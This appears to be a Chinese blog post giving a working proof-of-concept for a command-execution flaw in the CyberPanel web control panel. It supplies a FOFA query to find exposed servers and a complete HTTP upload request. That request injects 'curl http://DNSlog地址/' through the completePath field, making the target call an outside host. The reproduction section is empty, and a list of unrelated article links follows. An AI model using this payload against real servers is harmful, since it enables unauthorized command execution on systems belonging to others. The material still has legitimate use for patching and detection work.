CyberPanel开源Web控制面板 upload 命令执行漏洞复现及POC

FOFA

app="CyberPanel"

POC

POST /filemanager/upload HTTP/2
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: multipart/form-data; boundary=----NewBoundary123456789
Content-Length: 338

------NewBoundary123456789
Content-Disposition: form-data; name="domainName"

<target>
------NewBoundary123456789
Content-Disposition: form-data; name="completePath"

curl http://DNSlog地址/
------NewBoundary123456789
Content-Disposition: form-data; name="file"; filename="poc.txt"

pwn
------NewBoundary123456789--

漏洞复现

相关推荐
网络安全-杰克13 分钟前
网络安全常见面试题--含答案
安全·web安全
WolvenSec1 小时前
C/C++逆向:结构体逆向分析
c语言·开发语言·c++·网络安全
SRC_BLUE_176 小时前
SQLI LABS | Less-39 GET-Stacked Query Injection-Intiger Based
android·网络安全·adb·less
懒惰的bit7 小时前
基础网络安全知识
学习·web安全·1024程序员节
冰水°8 小时前
2.5_XXE(XML外部实体注入)
xml·安全·网络安全·xml外部实体注入·外部实体注入·xml漏洞
是谁谁谁9 小时前
【cft.show-web3解题思路】-php://input伪协议
web安全·网络安全·系统安全
黑客K-ing11 小时前
网络安全名词解释
开发语言·网络·安全·网络安全·php
无情啦少11 小时前
shodan 【2】(泷羽sec)
安全·web安全·网络安全
网络安全-老纪13 小时前
网络安全专业名词解释
安全·web安全
网安_秋刀鱼14 小时前
中间件安全
安全·web安全·网络安全·中间件·1024程序员节